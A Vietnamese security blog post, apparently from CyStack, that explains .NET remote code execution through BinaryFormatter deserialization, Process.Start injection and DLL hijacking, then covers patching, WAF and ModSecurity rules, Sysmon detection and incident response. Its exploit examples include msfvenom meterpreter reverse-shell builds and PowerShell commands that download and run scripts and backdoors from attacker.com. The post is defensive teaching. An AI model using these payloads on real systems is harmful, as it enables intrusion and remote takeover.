Reading Time: 7 minutes

.NET Remote Code Execution Vulnerability là lỗ hổng cho phép hacker thực thi mã độc từ xa (RCE) trên hệ thống .NET Core và .NET Framework, dẫn đến chiếm quyền điều khiển, triển khai malware, đánh cắp dữ liệu. Sau nhiều năm xử lý các vụ khai thác RCE trên cả ứng dụng ASP.NET Core trên cloud và .NET Framework trong doanh nghiệp, mình muốn chia sẻ kiến thức và kinh nghiệm thực tế về chủ đề này.

Cách khai thác .NET Core Remote Code Execution Vulnerability

Tại sao .Net Remote Code Execution Vulnerability lại nguy hiểm?

  • Tấn công không cần tương tác: Nếu khai thác được RCE từ xa, hacker có thể kiểm soát máy chủ mà không cần user cấp quyền.
  • Ảnh hưởng rộng: Ứng dụng ASP.NET, WinForms, WPF, Web API đều có thể bị khai thác nếu cấu hình kém bảo mật.
  • Dễ dàng thực thi mã độc: Chỉ cần một request độc hại, hacker có thể tải và chạy payload trên hệ thống.

Các lỗ hổng RCE trong .NET phổ biến nhất là:

  • .NET Core Remote Code Execution Vulnerability
  • .NET Framework Remote Code Execution Vulnerability
  • Deserialization Attack (Tấn công tuần tự hóa dữ liệu)
  • Process Injection thông qua Process.Start()
  • DLL Hijacking – Tải DLL giả mạo vào ứng dụng .NET

Dưới đây, mình sẽ phân tích chi tiết từng kiểu tấn công này, cách kiểm tra hệ thống có bị ảnh hưởng không, và biện pháp phòng chống hiệu quả.

Cách khai thác .NET Core Remote Code Execution Vulnerability

Ảnh hưởng:

.NET Core là nền tảng đa nền tảng, mã nguồn mở, nhưng cũng không tránh khỏi các lỗ hổng Remote Code Execution (RCE) nếu không xử lý dữ liệu đầu vào đúng cách.

  • Các phiên bản .NET Core 3.x, 5.x dễ bị khai thác nếu không có cơ chế bảo vệ đầu vào chặt chẽ.
  • Ứng dụng ASP.NET Core, Blazor, Web API có thể bị RCE thông qua deserialization hoặc middleware bị cấu hình sai.
  • Hacker có thể tải & thực thi mã độc trên server bằng cách khai thác BinaryFormatter, Reflection hoặc Dependency Injection (DI).

Có thể bạn quan tâm:

Ví dụ khai thác RCE qua Deserialization Attack trong .NET Core

Trong một ứng dụng ASP.NET Core cho phép user gửi dữ liệu JSON để deserialize, nếu developer sử dụng BinaryFormatter mà không xác thực input, hệ thống có thể bị khai thác để thực thi mã từ xa.

Đoạn code dễ bị khai thác:

csharp
CopyEdit
BinaryFormatter formatter = new BinaryFormatter();
MemoryStream ms = new MemoryStream(Convert.FromBase64String(userInput));
object obj = formatter.Deserialize(ms);

Nếu hacker gửi payload chứa shellcode, hệ thống có thể bị thực thi mã từ xa ngay lập tức!

Payload mẫu (Metasploit) để khai thác BinaryFormatter trong .NET Core:

bash
CopyEdit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw | base64

Payload này sẽ tạo một reverse shell kết nối ngược về máy hacker!

Cách khắc phục:

  • Không sử dụng BinaryFormatter – Thay thế bằng System.Text.Json hoặc Newtonsoft.Json để đảm bảo an toàn.
  • Chỉ deserialize dữ liệu từ nguồn tin cậy (cấu hình AllowList thay vì Blacklist).
  • Dùng sandbox hoặc kiểm tra chữ ký số trước khi xử lý dữ liệu từ client.
  • Bật các cơ chế bảo vệ trên ASP.NET Core như Anti-Forgery, CSP, HSTS.

Cách khai thác NET Framework Remote Code Execution Vulnerability

Ảnh hưởng:

.NET Framework (đặc biệt là các phiên bản cũ như 3.5, 4.5, 4.8) thường gặp các vấn đề bảo mật nghiêm trọng do:

  • Không có sandbox tốt như .NET Core, dẫn đến việc thực thi mã độc dễ dàng hơn.
  • Sử dụng các API cũ & nguy hiểm như Process.Start(), Assembly.Load(), giúp hacker thực thi lệnh từ xa hoặc tải DLL độc hại.
  • Ứng dụng desktop (WinForms, WPF) thường không có kiểm tra đầu vào nghiêm ngặt, dễ bị khai thác qua user input không an toàn.

Ví dụ khai thác RCE bằng Process Injection trong .NET Framework

Một ứng dụng WinForms cho phép user nhập lệnh hệ thống vào một textbox, sau đó thực thi bằng Process.Start().

Mã nguồn dễ bị khai thác:

csharp
CopyEdit
string command = userInput;
Process.Start(command);

Nếu hacker nhập vào input:

bash
CopyEdit
cmd.exe /c powershell.exe -c "iex (New-Object Net.WebClient).DownloadString('<http://attacker.com/shell.ps1>')"

Kết quả: Hệ thống sẽ tải về & thực thi một PowerShell script độc hại từ server của hacker!

Payload thực tế hacker có thể sử dụng (Metasploit Reverse Shell):

bash
CopyEdit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > backdoor.exe
powershell.exe -c "Invoke-WebRequest -Uri '<http://attacker.com/backdoor.exe>' -OutFile 'C:\\Users\\Public\\backdoor.exe'; Start-Process 'C:\\Users\\Public\\backdoor.exe'"

Payload này sẽ tải & chạy một backdoor trên hệ thống Windows bị khai thác!

Ví dụ khai thác RCE qua DLL Hijacking trong .NET Framework

Nếu một ứng dụng cho phép tải & thực thi DLL từ user input, hacker có thể tạo một DLL giả mạo để thực thi mã độc.

Mã nguồn dễ bị khai thác:

csharp
CopyEdit
Assembly.LoadFile(userInput);

Hacker có thể gửi đường dẫn đến một DLL chứa mã độc, và ứng dụng sẽ thực thi nó!

Tạo DLL độc hại bằng Metasploit:

bash
CopyEdit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll > malicious.dll

Khi ứng dụng tải DLL này, hacker sẽ có quyền truy cập vào hệ thống từ xa!

Cách khắc phục:

  • Không bao giờ truyền dữ liệu từ user vào Process.Start() hoặc Assembly.Load().
  • Nếu cần tải DLL, chỉ cho phép từ thư mục tin cậy, không cho phép tải từ user input.
  • Chặn PowerShell script & thực thi command-line không rõ nguồn gốc bằng GPO (Group Policy Object).
  • Bật Windows Defender ATP hoặc EDR để phát hiện & ngăn chặn hành vi bất thường.

Làm sao để biết hệ thống của bạn có đang bị ảnh hưởng bởi lỗ hổng này hay không?

Một trong những nguyên tắc quan trọng nhất khi xử lý lỗ hổng RCE là kiểm tra hệ thống trước khi bị hacker phát hiện & khai thác.

Kiểm tra phiên bản .NET đang sử dụng

Trên Windows

powershell
CopyEdit
dotnet --info
(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full' -Name Version).Version

Trên Linux/macOS

bash
CopyEdit
dotnet --version

Nếu hệ thống đang chạy phiên bản cũ, cần cập nhật ngay.

Kiểm tra mã nguồn để tìm lỗ hổng RCE

Tìm kiếm các API dễ bị khai thác trong mã nguồn:

bash
CopyEdit
grep -r "BinaryFormatter.Deserialize" ./src
grep -r "Process.Start(" ./src
grep -r "Assembly.Load" ./src

Nếu phát hiện thấy các dòng code này, hệ thống của bạn có nguy cơ bị tấn công.

Sử dụng công cụ kiểm tra RCE

Dotnet-Security-Scanner

bash
CopyEdit
dotnet-security-scanner scan -p /path/to/source
  • Burp Suite & OWASP ZAP để kiểm tra RCE trên ứng dụng web .NET
  • Sysmon + ELK Stack để giám sát hành vi RCE trên Windows Server

Làm sao để ngăn chặn .NET Remote Code Execution Vulnerability?

Khi đã hiểu rõ cách hacker khai thác .NET Remote Code Execution Vulnerability, điều quan trọng nhất là làm thế nào để ngăn chặn RCE một cách hiệu quả. Mình sẽ hướng dẫn chi tiết từng bước để bảo vệ hệ thống khỏi nguy cơ thực thi mã từ xa.

Luôn cập nhật bản vá mới nhất từ Microsoft

Microsoft thường xuyên phát hành các bản vá bảo mật để khắc phục các lỗ hổng RCE trong .NET Core và .NET Framework. Nếu hệ thống của bạn đang chạy phiên bản cũ, khả năng bị khai thác sẽ rất cao.

Cách kiểm tra phiên bản .NET trên hệ thống

Windows

dotnet --info
(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full' -Name Version).Version

Linux/macOS

dotnet --version

Nếu hệ thống đang chạy phiên bản cũ, cập nhật ngay bằng cách:

Cập nhật .NET Core lên phiên bản mới nhất:

dotnet sdk check
dotnet --list-runtimes
dotnet --list-sdks
sudo apt update && sudo apt upgrade dotnet-sdk-*

Cập nhật .NET Framework trên Windows (qua Windows Update):

Get-WindowsUpdate -AcceptAll -Install

💡 Lưu ý:

  • Kiểm tra changelog bản cập nhật để xem có bản vá RCE nào không.
  • Luôn kiểm tra các bản vá bảo mật từ CVE database hoặc Microsoft Security Bulletin.

Không dùng BinaryFormatter, thay thế bằng JsonSerializer

Hacker có thể khai thác BinaryFormatter.Deserialize() để thực thi mã độc từ xa. Vì vậy, Microsoft đã cảnh báo không nên sử dụng API này nữa.

Mã dễ bị tấn công

BinaryFormatter formatter = new BinaryFormatter();
MemoryStream ms = new MemoryStream(Convert.FromBase64String(userInput));
object obj = formatter.Deserialize(ms);

Nếu hacker gửi payload chứa shellcode, hệ thống có thể bị thực thi mã độc ngay lập tức!

Giải pháp:

  • Thay thế BinaryFormatter bằng Json.NET hoặc System.Text.Json
var jsonObject = JsonSerializer.Deserialize<MyObject>(jsonData);
  • Luôn kiểm tra input từ user trước khi deserialize
  • Chỉ deserialize dữ liệu từ nguồn tin cậy (dùng chữ ký số hoặc AllowList)

Chặn Process.Start() với dữ liệu không tin cậy

Một trong những cách phổ biến hacker khai thác RCE là truyền dữ liệu không tin cậy vào Process.Start(), cho phép thực thi lệnh hệ thống.

Ví dụ mã dễ bị tấn công

string command = userInput;
Process.Start(command);

Nếu hacker nhập vào:

cmd.exe /c powershell.exe -c "iex (New-Object Net.WebClient).DownloadString('<http://attacker.com/shell.ps1>')"

Hacker có thể tải & chạy mã độc trên server ngay lập tức!

Giải pháp:

  • Không bao giờ sử dụng Process.Start() với dữ liệu từ user input
  • Dùng AllowList – chỉ cho phép chạy các lệnh hợp lệ:
string[] allowedCommands = { "ping", "tracert" };
if (allowedCommands.Contains(userInput))
{
    Process.Start(userInput);
}
else
{
    throw new SecurityException("Command not allowed!");
}
  • Chặn PowerShell & Command Prompt bằng GPO trên Windows
New-ItemProperty -Path "HKLM:\\Software\\Policies\\Microsoft\\Windows\\System" -Name "DisableCMD" -Value 1 -PropertyType DWord

Dùng Web Application Firewall (WAF) để ngăn chặn Payload RCE qua HTTP Request

Nếu ứng dụng của bạn chạy trên nền tảng ASP.NET Core hoặc Web API, hacker có thể khai thác RCE qua request HTTP.

Ví dụ request độc hại hacker có thể gửi:

POST /api/upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/json
Content-Length: 200

{
  "username": "admin",
  "password": "123456",
  "debug": "powershell.exe -c iex (New-Object Net.WebClient).DownloadString('<http://attacker.com/shell.ps1>')"
}

Nếu ứng dụng xử lý input không đúng cách, hacker có thể thực thi mã ngay trên server.

Giải pháp:

  • Dùng Web Application Firewall (WAF) để phát hiện payload RCE
  • Chặn các request chứa từ khóa nguy hiểm như powershell.exe, cmd.exe, iex
  • Dùng ModSecurity (OWASP Core Rule Set) để bảo vệ ứng dụng ASP.NET
  • Cấu hình ModSecurity để chặn RCE trên IIS Server:
SecRule ARGS "@rx (powershell.exe|cmd.exe|mshta.exe|wget|curl)" "id:1001,deny,status:403,msg:'RCE Attack Detected'"

Bật Logging & Monitoring để phát hiện hành vi khai thác RCE

Nếu hệ thống đã bị khai thác RCE, bạn cần giám sát log hệ thống & phát hiện bất thường.

Kiểm tra Event Log trong Windows

Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4688}

Nếu thấy nhiều process lạ (cmd.exe, powershell.exe) chạy liên tục → Có thể hệ thống đã bị khai thác RCE!

Dùng Sysmon để theo dõi tiến trình bất thường

<Sysmon schemaversion="4.21">
    <EventFiltering>
        <RuleGroup name="Process Creation" groupRelation="or">
            <Rule name="Detect PowerShell RCE" type="include">
                <CommandLine condition="contains">powershell.exe -c</CommandLine>
            </Rule>
        </RuleGroup>
    </EventFiltering>
</Sysmon>

Nếu phát hiện hành vi bất thường:

  • Cô lập server bị khai thác & kiểm tra file log
  • Dùng Wireshark để kiểm tra kết nối đáng ngờ
  • Kiểm tra IIS logs để xem hacker gửi request từ đâu

Cách điều tra khi hệ thống đã bị khai thác RCE

Phát hiện dấu hiệu bị khai thác

  • Kiểm tra Event Logs trong Windows:
powershell
CopyEdit
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4688}
  • Kiểm tra quá trình lạ trong Task Manager & Process Explorer

Cô lập hệ thống bị tấn công

  • Ngắt kết nối internet để ngăn chặn hacker điều khiển từ xa
  • Dùng Sysinternals Suite để phân tích tiến trình đáng ngờ

Điều tra nguồn gốc tấn công

  • Kiểm tra log IIS & application logs để xem hacker đã gửi request từ đâu
  • Dùng Wireshark để tìm kiếm kết nối đến server độc hại

Lời kết:

NET Remote Code Execution Vulnerability là một trong những lỗ hổng nguy hiểm nhất, có thể bị hacker khai thác để thực thi mã độc từ xa. Nếu hệ thống của bạn đang sử dụng .NET Core hoặc .NET Framework, hãy kiểm tra ngay xem hệ thống có bị ảnh hưởng không, và thực hiện các biện pháp phòng chống ngay lập tức.

Bài viết cùng chủ đề:

0 Bình luận

Đăng nhập để thảo luận

Chuyên mục Hướng dẫn

Tổng hợp các bài viết hướng dẫn, nghiên cứu và phân tích chi tiết về kỹ thuật, các xu hướng công nghệ mới nhất dành cho lập trình viên.

Đăng ký nhận bản tin của chúng tôi

Hãy trở thành người nhận được các nội dung hữu ích của CyStack sớm nhất

Xem chính sách của chúng tôi Chính sách bảo mật.